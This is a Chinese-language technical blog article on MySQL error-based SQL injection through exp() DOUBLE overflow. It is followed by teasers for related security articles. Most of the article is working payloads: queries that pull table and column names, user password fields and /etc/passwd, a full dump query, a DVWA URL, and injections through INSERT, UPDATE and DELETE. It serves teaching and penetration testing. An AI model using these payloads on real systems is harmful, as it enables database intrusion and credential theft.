使用exp進行SQL報錯注入 - 51CTO.COM

2021-01-10 51cto

0x01 前言概述

好消息好消息~作者又在MySQL中發現了一個Double型數據溢出。如果你想了解利用溢出來注出數據,你可以讀一下作者之前發的博文:BIGINT Overflow Error based injections,drops上面也有對應翻譯,具體見這裡。當我們拿到MySQL裡的函數時,作者比較感興趣的是其中的數學函數,它們也應該包含一些數據類型來保存數值。所以作者就跑去測試看哪些函數會出現溢出錯誤。然後作者發現,當傳遞一個大於709的值時,函數exp()就會引起一個溢出錯誤。

mysql> select exp(709);
+---+
| exp(709)              |
+---+
| 8.218407461554972e307 |
+---+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

在MySQL中,exp與ln和log的功能相反,簡單介紹下,就是log和ln都返回以e為底數的對數,見等式:

mysql> select log(15);
+---+
| log(15)          |
+---+
| 2.70805020110221 |
+---+
1 row in set (0.00 sec)


mysql> select ln(15);
+---+
| ln(15)           |
+---+
| 2.70805020110221 |
+---+
1 row in set (0.00 sec)

指數函數為對數函數的反函數,exp()即為以e為底的對數函數,如等式:

mysql> select exp(2.70805020110221);
+---+
| exp(2.70805020110221) |
+---+
|                    15 |
+---+
1 row in set (0.00 sec)

0x02 注入

當涉及到注入時,我們使用否定查詢來造成「DOUBLE value is out of range」的錯誤。作者之前的博文提到的,將0按位取反就會返回「18446744073709551615」,再加上函數成功執行後返回0的緣故,我們將成功執行的函數取反就會得到***的無符號BIGINT值。

mysql> select ~0;
+--+
| ~0                   |
+--+
| 18446744073709551615 |
+--+
1 row in set (0.00 sec)


mysql> select ~(select version());
+--+
| ~(select version())  |
+--+
| 18446744073709551610 |
+--+
1 row in set, 1 warning (0.00 sec)

我們通過子查詢與按位求反,造成一個DOUBLE overflow error,並藉由此注出數據。

>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

0x03 注出數據

得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)); 

檢索數據:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)); 

0x04 一蹴而就

這個查詢可以從當前的上下文中dump出所有的tables與columns。我們也可以dump出所有的資料庫,但由於我們是通過一個錯誤進行提取,它會返回很少的結果。

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) 

0x05 讀取文件

你可以通過load_file()函數來讀取文件,但作者發現有13行的限制,該語句也可以在BIGINT overflow injections中使用。

select exp(~(select*from(select load_file('/etc/passwd'))a));   

注意,你無法寫文件,因為這個錯入寫入的只是0。

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0 

0x06 Injection in Insert

按部就班就好

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

對於所有的insert,update和delete語句DIOS查詢也同樣可以使用。

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))' 

0x07 Injection in Update

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

0x08 Injection in Delete

mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

和前面的BIGINT注入一樣,exp注入也適用於MySQL5.5.5及以上版本。以前的版本對於此情況則是「一言不發」。

mysql> select version();  + | version()           |  + | 5.0.45-community-nt |  + 1 row in set (0.00 sec)     mysql> select exp(710);  + | exp(710) |  + |   1.#INF |  + 1 row in set (0.00 sec)     mysql> select exp(~0);  + | exp(~0) |  + |  1.#INF |  + 1 row in set (0.00 sec) 

可能還有其他的函數會產生這種報錯呦。(有待你發現啦:)

【編輯推薦】

【責任編輯:

藍雨淚

TEL:(010)68476606】

點讚 0

相關焦點

  • SQL注入、XSS以及CSRF分別是什麼?
    什麼是SQL注入、XSS和CSRF?本篇文章就來帶大家了解一下SQL注入、XSS和CSRF,有一定的參考價值,有需要的朋友可以參考一下,希望對你有所幫助。SQL注入SQL注入是屬於注入式攻擊,這種攻擊是因為在項目中沒有將代碼與數據(比如用戶敏感數據)隔離,在讀取數據的時候,錯誤的將數據作為代碼的一部分執行而導致的。典型的例子就是當對SQL語句進行字符串拼接的時候,直接使用未轉義的用戶輸入內容作為變量。這時,只要在sql語句的中間做修改,比如加上drop、delete等關鍵字,執行之後後果不堪設想。
  • Java最新SQL注入原因以及預防方案(易理解)
    前沿在現有的框架中sql防注入已經做得很好了,我們需要做的就是儘量不要使用sql拼接調用java sql注入原因以及預防方案(易理解)SQL注入1.1 原理SQL注入是通過客戶端的輸入把SQL命令注入到一個應用的資料庫中,從而執行惡意的SQL語句。1.2 演示1.2.1 案例1有一個登錄框,需要 輸入用戶名和密碼 ,然後我們的密碼輸入 'or '123' = '123 這樣的。
  • 最詳細的SQL注入相關的命令整理
    偶然間我想到了在SQL語言中可以使用"in"關鍵字進行查詢,例如"select * from mytable where id in(1)",括號中的值就是我們提交的數據,它的結果與使用"select * from mytable where id=1"的查詢結果完全相同。
  • c使用sql server專題及常見問題 - CSDN
    為php添加 sqlsrv 擴展去微軟官網 https://www.microsoft.com/en-us/download/ 搜索php ,點擊 Microsoft Drivers for PHP for SQL Server 下載最新版的 sqlsrvXX.exe( 我下載的是SQLSRV32.EXE )運行解壓, 得到一堆DLL, 選取適合自己
  • 2020HW期間公布漏洞總結(附部分漏洞Poc、Exp)
    09.ThinkAdmin v6 未授權列目錄/任意文件讀取參考:https://github.com/zoujingli/ThinkAdmin/issues/244任意文件讀取exp:http://think.admin/ThinkAdmin
  • server sql 作業 使用專題及常見問題 - CSDN
    nvarchar(4000),@dbname sysnameSELECT @dbname=DB_NAME(), --作業步驟在當前資料庫中執行@sql=N'--作業步驟內容' --一般定義的是使用TSQL處理的作業,這裡定義要執行的Transact-SQL語句EXEC msdb.dbo.sp_add_jobstep@job_id = @jobid,@step_name = N'步驟一',@subsystem
  • 安全漏洞XSS、CSRF、SQL注入以及DDOS攻擊
    對數據進行Html Encode 處理:用戶將數據提交上來的時候進行HTML編碼,將相應的符號轉換為實體名稱再進行下一步的處理。 過濾或移除特殊的Html標籤。 過濾js事件的標籤。例如 "onclick=", "onfocus" 等。
  • 【圖解鴻蒙】使用繪圖組件Canvas繪製柱狀圖
    想了解更多內容,請訪問:51CTO和華為官方戰略合作共建的鴻蒙技術社區https://harmonyos.51cto.com/#zz一、運行效果在頁面中分別使用紅色、黃色和藍色顯示三組柱狀圖,如下圖所示:
  • SQL注入是什麼?如何防止?
    攻擊者可以使用SQL注入漏洞繞過應用程式安全措施;可以繞過網頁或Web應用程式的身份驗證和授權,並檢索整個SQL資料庫的內容;還可以使用SQL注入來添加,修改和刪除資料庫中的記錄。SQL注入漏洞可能會影響使用SQL資料庫(如MySQL,Oracle,SQL Server或其他)的任何網站或Web應用程式。
  • - 51CTO.COM
    :let navLink = document.getElementById('nav'); 輸出:<a id="nav" href="index.html">Home</a> 我們可以通過更改href屬性來更改連結的地址:navLink.href = 'https://github.com
  • PandaSQL:一個讓你能夠通過SQL語句進行pandas的操作的python包
    這篇文章將介紹一種在pandas的dataframe中使用SQL的python包,並且使用一個不等連結的查詢操作來介紹PandasSQL的使用方法。不等連接(Non-equi join)假設你必須連接兩個dataframe。其中一個顯示了我們對某些商品進行促銷的時間段。第二個是事務Dataframe。
  • 這個函數讓SQL效率提升99%
    可以在單個查詢中將多個排名或聚合窗口函數與單個 FROM 子句一起使用。窗口函數是整個SQL語句最後被執行的部分,這意味著窗口函數是在SQL查詢的結果集上進行的, 因此不會受到Group By, Having,Where子句的影響。
  • MyBatis dynamic SQL 1.1.4 發布,生成動態 SQL 的框架
    此版本包含兩項增強功能: 支持在計數、刪除、選擇和更新語句之間共享 where 子句 改進 Kotlin DSL - 刪除了一些引起歧義的擴展方法,並添加了自定義構建器以及一項 bug 修復: 修復了以下錯誤:在子查詢中首先使用限制/偏移/獲取會導致參數名稱衝突完整更新內容可查看:https://github.com/mybatis/mybatis-dynamic-sql
  • sqltoy-orm-4.16.11 發版,部分功能優化
    的十四個關鍵特點:1、最簡最直觀的sql編寫方式(不僅僅是查詢語句),採用條件參數前置處理規整法,讓sql語句部分跟客戶端保持高度一致2、sql中支持注釋(規避了對hint特性的影響,知道hint嗎?搜oracle hint),和動態更新加載,便於開發和後期維護整個過程的管理3、支持緩存翻譯和反向緩存條件檢索(通過緩存將名稱匹配成精確的key),實現sql簡化和性能大幅提升4、支持快速分頁和分頁優化功能,實現分頁最高級別的優化,同時還考慮到了cte多個with as情況下的優化支持5、支持並行查詢6、根本杜絕sql注入問題,以後不需要討論這個話題7、支持行列轉換
  • 對SQL Server跨文件組的表進行分區
    先決條件  在開始此實驗之前,您必須:  使用 Transact-SQL 在 Microsoft® SQL Server® 資料庫中創建資料庫對象的經驗。  實驗設置  實驗場景  Adventure Works Cycles 的數據倉庫中有幾個非常大的表。
  • 大數據分析工程師入門9-Spark SQL
    大數據處理使用SQL進行大數據處理,使傳統的RDBMS人員也可以進行大數據處理,不需要掌握像mapreduce的編程方法。使用高級API進行開發SparkSQL支持SQL API,DataFrame和Dataset API多種API,使用這些高級API進行編程和採用Sparkcore的RDD API 進行編程有很大的不同。
  • zabbix監控丨模板使用、網絡發現及郵件報警功能
    php.ini配置文件就可以了,其中時區是:date.timezone = Asia/Shanghai修改完配置文件重啟httpd及zabbix-server服務安裝完成後,zabbix默認的登錄用戶名及密碼是:admin/zabbix如果要監控linux主機,它裡面有自帶的 os linux 模板,可以適當使用
  • MyBatis Dynamic SQL 1.0.0,生成動態 SQL 語句的框架
    該庫將生成格式化為由 MyBatis 或 Spring 使用的完整 DELETE,INSERT,SELECT 和 UPDATE 語句。最常見的用例是生成語句和一組匹配的參數,這些參數可以被 MyBatis 直接使用。該庫還將生成與 Spring JDBC 模板兼容的語句和參數對象。
  • SQL Server 首次登陸 Linux 平臺
    更多細節,見 SQL Server 官方:https://www.microsoft.com/en-us/sql-server/sql-server-2017參考:VentureBeta、SQL Server看完本文有收穫?